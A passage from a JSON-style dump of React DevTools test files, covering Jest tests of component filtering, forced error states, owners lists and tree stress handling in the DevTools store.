(Activity != null) {\n      await actAsync(async () =>\n        render(\n          <React.Fragment>\n            <Activity mode=\"visible\">\n              <div>Visible</div>\n            </Activity>\n            <Activity mode=\"hidden\">\n              <div>Hidden</div>\n            </Activity>\n          </React.Fragment>,\n        ),\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Activity mode=\"visible\">\n              <div>\n          ▸ <Activity mode=\"hidden\">\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createElementTypeFilter(Types.ElementTypeActivity),\n          ]),\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <div>\n            <div>\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createElementTypeFilter(Types.ElementTypeActivity, false),\n          ]),\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Activity mode=\"visible\">\n              <div>\n          ▸ <Activity mode=\"hidden\">\n      `);\n    }\n  });\n\n  it('should filter ViewTransition', async () => {\n    const ViewTransition =\n      React.ViewTransition || React.unstable_ViewTransition;\n\n    if (ViewTransition != null) {\n      await actAsync(async () =>\n        render(\n          <React.Fragment>\n            <ViewTransition>\n              <div>Visible</div>\n            </ViewTransition>\n            <ViewTransition>\n              <div>Hidden</div>\n            </ViewTransition>\n          </React.Fragment>,\n        ),\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n              [root]\n                ▾ <ViewTransition>\n                    <div>\n                ▾ <ViewTransition>\n                    <div>\n          `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createElementTypeFilter(Types.ElementTypeActivity),\n          ]),\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n              [root]\n                ▾ <ViewTransition>\n                    <div>\n                ▾ <ViewTransition>\n                    <div>\n          `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createElementTypeFilter(Types.ElementTypeActivity, false),\n          ]),\n      );\n\n      expect(store).toMatchInlineSnapshot(`\n              [root]\n                ▾ <ViewTransition>\n                    <div>\n                ▾ <ViewTransition>\n                    <div>\n          `);\n    }\n  });\n\n  it('should ignore invalid ElementTypeRoot filter', async () => {\n    const Component = () => <div>Hi</div>;\n\n    await actAsync(async () => render(<Component />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component>\n            <div>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createElementTypeFilter(Types.ElementTypeRoot),\n        ]),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component>\n            <div>\n    `);\n  });\n\n  // @reactVersion >= 16.2\n  it('should filter by display name', async () => {\n    const Text = ({label}) => label;\n    const Foo = () => <Text label=\"foo\" />;\n    const Bar = () => <Text label=\"bar\" />;\n    const Baz = () => <Text label=\"baz\" />;\n\n    await actAsync(async () =>\n      render(\n        <React.Fragment>\n          <Foo />\n          <Bar />\n          <Baz />\n        </React.Fragment>,\n      ),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Foo>\n            <Text>\n        ▾ <Bar>\n            <Text>\n        ▾ <Baz>\n            <Text>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [utils.createDisplayNameFilter('Foo')]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Text>\n        ▾ <Bar>\n            <Text>\n        ▾ <Baz>\n            <Text>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [utils.createDisplayNameFilter('Ba')]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Foo>\n            <Text>\n          <Text>\n          <Text>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [utils.createDisplayNameFilter('B.z')]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Foo>\n            <Text>\n        ▾ <Bar>\n            <Text>\n          <Text>\n    `);\n  });\n\n  // Disabled: filtering by path was removed, source is now determined lazily, including symbolication if applicable\n  // @reactVersion >= 16.0\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should filter by path', async () => {\n    // This component should use props object in order to throw for component stack generation\n    // See ReactComponentStackFrame:155 or DevToolsComponentStackFrame:147\n    const Component = props => {\n      return <div>{props.message}</div>;\n    };\n\n    await actAsync(async () => render(<Component message=\"Hi\" />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component>\n            <div>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createLocationFilter(__filename.replace(__dirname, '')),\n        ]),\n    );\n\n    expect(store).toMatchInlineSnapshot(`[root]`);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createLocationFilter('this:is:a:made:up:path'),\n        ]),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component>\n            <div>\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should filter HOCs', async () => {\n    const Component = () => <div>Hi</div>;\n    const Foo = () => <Component />;\n    Foo.displayName = 'Foo(Component)';\n    const Bar = () => <Foo />;\n    Bar.displayName = 'Bar(Foo(Component))';\n\n    await actAsync(async () => render(<Bar />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component> [Bar][Foo]\n          ▾ <Component> [Foo]\n            ▾ <Component>\n                <div>\n    `);\n\n    await actAsync(\n      async () => (store.componentFilters = [utils.createHOCFilter(true)]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component>\n            <div>\n    `);\n\n    await actAsync(\n      async () => (store.componentFilters = [utils.createHOCFilter(false)]),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Component> [Bar][Foo]\n          ▾ <Component> [Foo]\n            ▾ <Component>\n                <div>\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should not send a bridge update if the set of enabled filters has not changed', async () => {\n    await actAsync(\n      async () => (store.componentFilters = [utils.createHOCFilter(true)]),\n    );\n\n    bridge.addListener('updateComponentFilters', componentFilters => {\n      throw Error('Unexpected component update');\n    });\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createHOCFilter(false),\n          utils.createHOCFilter(true),\n        ]),\n    );\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createHOCFilter(true),\n          utils.createLocationFilter('abc', false),\n        ]),\n    );\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createHOCFilter(true),\n          utils.createElementTypeFilter(Types.ElementTypeHostComponent, false),\n        ]),\n    );\n  });\n\n  // @reactVersion >= 18.0\n  it('should not break when Suspense nodes are filtered from the tree', async () => {\n    const promise = new Promise(() => {});\n\n    const Loading = () => <div>Loading...</div>;\n\n    const Component = ({shouldSuspend}) => {\n      if (shouldSuspend) {\n        if (React.use) {\n          React.use(promise);\n        } else {\n          throw promise;\n        }\n      }\n      return null;\n    };\n\n    const Wrapper = ({shouldSuspend}) => (\n      <React.Suspense fallback={<Loading />}>\n        <Component shouldSuspend={shouldSuspend} />\n      </React.Suspense>\n    );\n\n    store.componentFilters = [\n      utils.createElementTypeFilter(Types.ElementTypeSuspense),\n    ];\n\n    await actAsync(async () => render(<Wrapper shouldSuspend={true} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Wrapper>\n          ▾ <Loading>\n              <div>\n    `);\n\n    await actAsync(async () => render(<Wrapper shouldSuspend={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Wrapper>\n            <Component>\n    `);\n\n    await actAsync(async () => render(<Wrapper shouldSuspend={true} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Wrapper>\n          ▾ <Loading>\n              <div>\n    `);\n  });\n\n  describe('inline errors and warnings', () => {\n    const {render: legacyRender} = getLegacyRenderImplementation();\n\n    // @reactVersion >= 17.0\n    // @reactVersion <= 18.2\n    it('only counts for unfiltered components (legacy render)', async () => {\n      function ComponentWithWarning() {\n        console.warn('test-only: render warning');\n        return null;\n      }\n      function ComponentWithError() {\n        console.error('test-only: render error');\n        return null;\n      }\n      function ComponentWithWarningAndError() {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      }\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createDisplayNameFilter('Warning'),\n            utils.createDisplayNameFilter('Error'),\n          ]),\n      );\n      utils.withErrorsOrWarningsIgnored(['test-only:'], () => {\n        legacyRender(\n          <React.Fragment>\n            <ComponentWithError />\n            <ComponentWithWarning />\n            <ComponentWithWarningAndError />\n          </React.Fragment>,\n        );\n      });\n\n      expect(store).toMatchInlineSnapshot(``);\n      expect(store.componentWithErrorCount).toBe(0);\n      expect(store.componentWithWarningCount).toBe(0);\n\n      await actAsync(async () => (store.componentFilters = []));\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <ComponentWithError> ✕\n            <ComponentWithWarning> ⚠\n            <ComponentWithWarningAndError> ✕⚠\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [utils.createDisplayNameFilter('Warning')]),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n            <ComponentWithError> ✕\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [utils.createDisplayNameFilter('Error')]),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 1\n        [root]\n            <ComponentWithWarning> ⚠\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createDisplayNameFilter('Warning'),\n            utils.createDisplayNameFilter('Error'),\n          ]),\n      );\n      expect(store).toMatchInlineSnapshot(`[root]`);\n      expect(store.componentWithErrorCount).toBe(0);\n      expect(store.componentWithWarningCount).toBe(0);\n\n      await actAsync(async () => (store.componentFilters = []));\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <ComponentWithError> ✕\n            <ComponentWithWarning> ⚠\n            <ComponentWithWarningAndError> ✕⚠\n      `);\n    });\n\n    // @reactVersion >= 18\n    it('only counts for unfiltered components (createRoot)', async () => {\n      function ComponentWithWarning() {\n        console.warn('test-only: render warning');\n        return null;\n      }\n      function ComponentWithError() {\n        console.error('test-only: render error');\n        return null;\n      }\n      function ComponentWithWarningAndError() {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      }\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createDisplayNameFilter('Warning'),\n            utils.createDisplayNameFilter('Error'),\n          ]),\n      );\n\n      utils.withErrorsOrWarningsIgnored(['test-only:'], () => {\n        utils.act(() => {\n          render(\n            <React.Fragment>\n              <ComponentWithError />\n              <ComponentWithWarning />\n              <ComponentWithWarningAndError />\n            </React.Fragment>,\n          );\n        }, false);\n      });\n\n      expect(store).toMatchInlineSnapshot(``);\n      expect(store.componentWithErrorCount).toBe(0);\n      expect(store.componentWithWarningCount).toBe(0);\n\n      await actAsync(async () => (store.componentFilters = []));\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <ComponentWithError> ✕\n            <ComponentWithWarning> ⚠\n            <ComponentWithWarningAndError> ✕⚠\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [utils.createDisplayNameFilter('Warning')]),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n            <ComponentWithError> ✕\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [utils.createDisplayNameFilter('Error')]),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 1\n        [root]\n            <ComponentWithWarning> ⚠\n      `);\n\n      await actAsync(\n        async () =>\n          (store.componentFilters = [\n            utils.createDisplayNameFilter('Warning'),\n            utils.createDisplayNameFilter('Error'),\n          ]),\n      );\n      expect(store).toMatchInlineSnapshot(`[root]`);\n      expect(store.componentWithErrorCount).toBe(0);\n      expect(store.componentWithWarningCount).toBe(0);\n\n      await actAsync(async () => (store.componentFilters = []));\n      expect(store).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n            <ComponentWithError> ✕\n            <ComponentWithWarning> ⚠\n            <ComponentWithWarningAndError> ✕⚠\n      `);\n    });\n  });\n\n  // @reactVersion >= 18.0\n  it('resets forced error and fallback states when filters are changed', async () => {\n    store.componentFilters = [];\n    class ErrorBoundary extends React.Component {\n      state = {hasError: false};\n\n      static getDerivedStateFromError() {\n        return {hasError: true};\n      }\n\n      render() {\n        if (this.state.hasError) {\n          return <div key=\"did-error\" />;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App() {\n      return (\n        <>\n          <React.Suspense fallback={<div key=\"loading\" />}>\n            <div key=\"suspense-content\" />\n          </React.Suspense>\n          <ErrorBoundary>\n            <div key=\"error-content\" />\n          </ErrorBoundary>\n        </>\n      );\n    }\n\n    await actAsync(async () => {\n      render(<App />);\n    });\n    const rendererID = utils.getRendererID();\n    await actAsync(() => {\n      agent.overrideSuspense({\n        id: store.getElementIDAtIndex(2),\n        rendererID,\n        forceFallback: true,\n      });\n      agent.overrideError({\n        id: store.getElementIDAtIndex(4),\n        rendererID,\n        forceError: true,\n      });\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Suspense>\n              <div key=\"loading\">\n          ▾ <ErrorBoundary>\n              <div key=\"did-error\">\n      [suspense-root]  rects={[{x:1,y:2,width:0,height:1}, {x:1,y:2,width:0,height:1}, {x:1,y:2,width:0,height:1}]}\n        <Suspense name=\"App\" uniqueSuspenders={false} rects={[{x:1,y:2,width:0,height:1}]}>\n    `);\n\n    await actAsync(() => {\n      store.componentFilters = [\n        utils.createElementTypeFilter(Types.ElementTypeFunction, true),\n      ];\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Suspense>\n            <div key=\"suspense-content\">\n        ▾ <ErrorBoundary>\n            <div key=\"error-content\">\n      [suspense-root]  rects={[{x:1,y:2,width:0,height:1}, {x:1,y:2,width:0,height:1}]}\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:0,height:1}]}>\n    `);\n  });\n\n  // @reactVersion >= 19.2\n  it('can filter by Activity slices', async () => {\n    const Activity = React.Activity;\n    const immediate = Promise.resolve(<div>Immediate</div>);\n\n    function Root({children}) {\n      return (\n        <Activity name=\"/\" mode=\"visible\">\n          <React.Suspense fallback=\"Loading...\">\n            <h1>Root</h1>\n            <main>{children}</main>\n          </React.Suspense>\n        </Activity>\n      );\n    }\n\n    function Layout({children}) {\n      return (\n        <Activity name=\"/blog\" mode=\"visible\">\n          <h2>Blog</h2>\n          <section>{children}</section>\n        </Activity>\n      );\n    }\n\n    function Page() {\n      return <React.Suspense fallback=\"Loading...\">{immediate}</React.Suspense>;\n    }\n\n    await actAsync(async () =>\n      render(\n        <Root>\n          <Layout>\n            <Page />\n          </Layout>\n        </Root>,\n      ),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n          ▾ <Activity name=\"/\" mode=\"visible\">\n            ▾ <Suspense>\n                <h1>\n              ▾ <main>\n                ▾ <Layout>\n                  ▾ <Activity name=\"/blog\" mode=\"visible\">\n                      <h2>\n                    ▾ <section>\n                      ▾ <Page>\n                        ▾ <Suspense>\n                            <div>\n      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}\n        <Suspense name=\"Root\" uniqueSuspenders={false} rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}>\n          <Suspense name=\"Page\" uniqueSuspenders={true} rects={[{x:1,y:2,width:9,height:1}]}>\n    `);\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [\n          utils.createActivitySliceFilter(store.getElementIDAtIndex(1)),\n        ]),\n    );\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Activity name=\"/\" mode=\"visible\">\n          ▾ <Suspense>\n              <h1>\n            ▾ <main>\n              ▾ <Layout>\n                ▸ <Activity name=\"/blog\" mode=\"visible\">\n      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}\n        <Suspense name=\"Unknown\" uniqueSuspenders={false} rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}>\n          <Suspense name=\"Page\" uniqueSuspenders={true} rects={[{x:1,y:2,width:9,height:1}]}>\n    `);\n\n    await actAsync(async () => (store.componentFilters = []));\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n          ▾ <Activity name=\"/\" mode=\"visible\">\n            ▾ <Suspense>\n                <h1>\n              ▾ <main>\n                ▾ <Layout>\n                  ▾ <Activity name=\"/blog\" mode=\"visible\">\n                      <h2>\n                    ▾ <section>\n                      ▾ <Page>\n                        ▾ <Suspense>\n                            <div>\n      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}\n        <Suspense name=\"Root\" uniqueSuspenders={false} rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:13,height:1}]}>\n          <Suspense name=\"Page\" uniqueSuspenders={true} rects={[{x:1,y:2,width:9,height:1}]}>\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/storeForceError-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('Store forcing errors', () => {\n  let React;\n  let agent;\n  let store: Store;\n  let utils;\n  let actAsync;\n\n  beforeEach(() => {\n    agent = global.agent;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.componentFilters = [];\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n    utils = require('./utils');\n\n    actAsync = utils.actAsync;\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  // @reactVersion >= 18.0\n  it('resets forced error and fallback states when filters are changed', async () => {\n    class AnyClassComponent extends React.Component {\n      render() {\n        return this.props.children;\n      }\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {hasError: false};\n\n      static getDerivedStateFromError() {\n        return {hasError: true};\n      }\n\n      render() {\n        if (this.state.hasError) {\n          return (\n            <AnyClassComponent key=\"fallback\">\n              <div key=\"did-error\" />\n            </AnyClassComponent>\n          );\n        }\n        return this.props.children;\n      }\n    }\n\n    function App() {\n      return (\n        <ErrorBoundary key=\"content\">\n          <div key=\"error-content\" />\n        </ErrorBoundary>\n      );\n    }\n\n    await actAsync(async () => {\n      render(<App />);\n    });\n    const rendererID = utils.getRendererID();\n    await actAsync(() => {\n      agent.overrideError({\n        id: store.getElementIDAtIndex(2),\n        rendererID,\n        forceError: true,\n      });\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ErrorBoundary key=\"content\">\n            ▾ <AnyClassComponent key=\"fallback\">\n                <div key=\"did-error\">\n    `);\n\n    await actAsync(() => {\n      agent.overrideError({\n        id: store.getElementIDAtIndex(2),\n        rendererID,\n        forceError: false,\n      });\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <ErrorBoundary key=\"content\">\n              <div key=\"error-content\">\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/storeOwners-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst {printOwnersList} = require('../devtools/utils');\nconst {getVersionedRenderImplementation} = require('./utils');\n\ndescribe('Store owners list', () => {\n  let React;\n  let act;\n  let store;\n\n  beforeEach(() => {\n    store = global.store;\n    store.collapseNodesByDefault = false;\n\n    React = require('react');\n\n    const utils = require('./utils');\n    act = utils.act;\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  function getFormattedOwnersList(elementID) {\n    const ownersList = store.getOwnersListForElement(elementID);\n    return printOwnersList(ownersList);\n  }\n\n  it('should drill through intermediate components', () => {\n    const Root = () => (\n      <Intermediate>\n        <div>\n          <Leaf />\n        </div>\n      </Intermediate>\n    );\n    const Wrapper = ({children}) => children;\n    const Leaf = () => <div>Leaf</div>;\n    const Intermediate = ({children}) => <Wrapper>{children}</Wrapper>;\n\n    act(() => render(<Root />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n          ▾ <Intermediate>\n            ▾ <Wrapper>\n                <Leaf>\n    `);\n\n    const rootID = store.getElementIDAtIndex(0);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(`\n      \"  ▾ <Root>\n          ▾ <Intermediate>\n              <Leaf>\"\n    `);\n\n    const intermediateID = store.getElementIDAtIndex(1);\n    expect(getFormattedOwnersList(intermediateID)).toMatchInlineSnapshot(`\n      \"  ▾ <Intermediate>\n          ▾ <Wrapper>\"\n    `);\n  });\n\n  it('should drill through interleaved intermediate components', () => {\n    const Root = () => [\n      <Intermediate key=\"intermediate\">\n        <Leaf />\n      </Intermediate>,\n      <Leaf key=\"leaf\" />,\n    ];\n    const Wrapper = ({children}) => children;\n    const Leaf = () => <div>Leaf</div>;\n    const Intermediate = ({children}) => [\n      <Leaf key=\"leaf\" />,\n      <Wrapper key=\"wrapper\">{children}</Wrapper>,\n    ];\n\n    act(() => render(<Root />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n          ▾ <Intermediate key=\"intermediate\">\n              <Leaf key=\"leaf\">\n            ▾ <Wrapper key=\"wrapper\">\n                <Leaf>\n            <Leaf key=\"leaf\">\n    `);\n\n    const rootID = store.getElementIDAtIndex(0);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(`\n      \"  ▾ <Root>\n          ▾ <Intermediate key=\"intermediate\">\n              <Leaf>\n            <Leaf key=\"leaf\">\"\n    `);\n\n    const intermediateID = store.getElementIDAtIndex(1);\n    expect(getFormattedOwnersList(intermediateID)).toMatchInlineSnapshot(`\n      \"  ▾ <Intermediate key=\"intermediate\">\n            <Leaf key=\"leaf\">\n          ▾ <Wrapper key=\"wrapper\">\"\n    `);\n  });\n\n  it('should show the proper owners list order and contents after insertions and deletions', () => {\n    const Root = ({includeDirect, includeIndirect}) => (\n      <div>\n        {includeDirect ? <Leaf /> : null}\n        {includeIndirect ? (\n          <Intermediate>\n            <Leaf />\n          </Intermediate>\n        ) : null}\n      </div>\n    );\n    const Wrapper = ({children}) => children;\n    const Leaf = () => <div>Leaf</div>;\n    const Intermediate = ({children}) => <Wrapper>{children}</Wrapper>;\n\n    act(() => render(<Root includeDirect={false} includeIndirect={true} />));\n\n    const rootID = store.getElementIDAtIndex(0);\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n          ▾ <Intermediate>\n            ▾ <Wrapper>\n                <Leaf>\n    `);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(`\n      \"  ▾ <Root>\n          ▾ <Intermediate>\n              <Leaf>\"\n    `);\n\n    act(() => render(<Root includeDirect={true} includeIndirect={true} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n            <Leaf>\n          ▾ <Intermediate>\n            ▾ <Wrapper>\n                <Leaf>\n    `);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(`\n      \"  ▾ <Root>\n            <Leaf>\n          ▾ <Intermediate>\n              <Leaf>\"\n    `);\n\n    act(() => render(<Root includeDirect={true} includeIndirect={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n            <Leaf>\n    `);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(`\n      \"  ▾ <Root>\n            <Leaf>\"\n    `);\n\n    act(() => render(<Root includeDirect={false} includeIndirect={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Root>\n    `);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(\n      `\"    <Root>\"`,\n    );\n  });\n\n  it('should show the proper owners list ordering after reordered children', () => {\n    const Root = ({ascending}) =>\n      ascending\n        ? [<Leaf key=\"A\" />, <Leaf key=\"B\" />, <Leaf key=\"C\" />]\n        : [<Leaf key=\"C\" />, <Leaf key=\"B\" />, <Leaf key=\"A\" />];\n    const Leaf = () => <div>Leaf</div>;\n\n    act(() => render(<Root ascending={true} />));\n\n    const rootID = store.getElementIDAtIndex(0);\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n            <Leaf key=\"A\">\n            <Leaf key=\"B\">\n            <Leaf key=\"C\">\n    `);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(`\n      \"  ▾ <Root>\n            <Leaf key=\"A\">\n            <Leaf key=\"B\">\n            <Leaf key=\"C\">\"\n    `);\n\n    act(() => render(<Root ascending={false} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Root>\n            <Leaf key=\"C\">\n            <Leaf key=\"B\">\n            <Leaf key=\"A\">\n    `);\n    expect(getFormattedOwnersList(rootID)).toMatchInlineSnapshot(`\n      \"  ▾ <Root>\n            <Leaf key=\"C\">\n            <Leaf key=\"B\">\n            <Leaf key=\"A\">\"\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/storeStressSync-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {getLegacyRenderImplementation} from './utils';\n\ndescribe('StoreStress (Legacy Mode)', () => {\n  let React;\n  let act;\n  let bridge;\n  let store;\n  let print;\n\n  function readValue(promise) {\n    if (typeof React.use === 'function') {\n      return React.use(promise);\n    }\n\n    // Support for React < 19.0\n    switch (promise.status) {\n      case 'fulfilled':\n        return promise.value;\n      case 'rejected':\n        throw promise.reason;\n      case 'pending':\n        throw promise;\n      default:\n        promise.status = 'pending';\n        promise.then(\n          value => {\n            promise.status = 'fulfilled';\n            promise.value = value;\n          },\n          reason => {\n            promise.status = 'rejected';\n            promise.reason = reason;\n          },\n        );\n        throw promise;\n    }\n  }\n\n  beforeEach(() => {\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n\n    React = require('react');\n\n    const utils = require('./utils');\n    act = utils.act;\n\n    print = require('./__serializers__/storeSerializer').print;\n  });\n\n  const {render, unmount, createContainer, getContainer} =\n    getLegacyRenderImplementation();\n\n  // This is a stress test for the tree mount/update/unmount traversal.\n  // It renders different trees that should produce the same output.\n  // @reactVersion >= 16.9\n  // @reactVersion < 19\n  // @gate !disableLegacyMode\n  it('should handle a stress test with different tree operations (Legacy Mode)', () => {\n    let setShowX;\n    const A = () => 'a';\n    const B = () => 'b';\n    const C = () => {\n      // We'll be manually flipping this component back and forth in the test.\n      // We only do this for a single node in order to verify that DevTools\n      // can handle a subtree switching alternates while other subtrees are memoized.\n      const [showX, _setShowX] = React.useState(false);\n      setShowX = _setShowX;\n      return showX ? <X /> : 'c';\n    };\n    const D = () => 'd';\n    const E = () => 'e';\n    const X = () => 'x';\n    const a = <A key=\"a\" />;\n    const b = <B key=\"b\" />;\n    const c = <C key=\"c\" />;\n    const d = <D key=\"d\" />;\n    const e = <E key=\"e\" />;\n\n    function Parent({children}) {\n      return children;\n    }\n\n    // 1. Render a normal version of [a, b, c, d, e].\n    act(() => render(<Parent>{[a, b, c, d, e]}</Parent>));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <A key=\"a\">\n            <B key=\"b\">\n            <C key=\"c\">\n            <D key=\"d\">\n            <E key=\"e\">\n    `);\n    expect(getContainer().textContent).toMatch('abcde');\n    const snapshotForABCDE = print(store);\n\n    // 2. Render a version where <C /> renders an <X /> child instead of 'c'.\n    // This is how we'll test an update to a single component.\n    act(() => {\n      setShowX(true);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <A key=\"a\">\n            <B key=\"b\">\n          ▾ <C key=\"c\">\n              <X>\n            <D key=\"d\">\n            <E key=\"e\">\n    `);\n    expect(getContainer().textContent).toMatch('abxde');\n    const snapshotForABXDE = print(store);\n\n    // 3. Verify flipping it back produces the original result.\n    act(() => {\n      setShowX(false);\n    });\n    expect(getContainer().textContent).toMatch('abcde');\n    expect(print(store)).toBe(snapshotForABCDE);\n\n    // 4. Clean up.\n    act(() => unmount());\n    expect(print(store)).toBe('');\n\n    // Now comes the interesting part.\n    // All of these cases are equivalent to [a, b, c, d, e] in output.\n    // We'll verify that DevTools produces the same snapshots for them.\n    // These cases are picked so that rendering them sequentially in the same\n    // container results in a combination of mounts, updates, unmounts, and reorders.\n    // prettier-ignore\n    const cases = [\n      [a, b, c, d, e],\n      [[a], b, c, d, e],\n      [[a, b], c, d, e],\n      [[a, b], c, [d, e]],\n      [[a, b], c, [d, '', e]],\n      [[a], b, c, d, [e]],\n      [a, b, [[c]], d, e],\n      [[a, ''], [b], [c], [d], [e]],\n      [a, b, [c, [d, ['', e]]]],\n      [a, b, c, d, e],\n      [<div key=\"0\">{a}</div>, b, c, d, e],\n      [<div key=\"0\">{a}{b}</div>, c, d, e],\n      [<div key=\"0\">{a}{b}</div>, c, <div key=\"1\">{d}{e}</div>],\n      [<div key=\"1\">{a}{b}</div>, c, <div 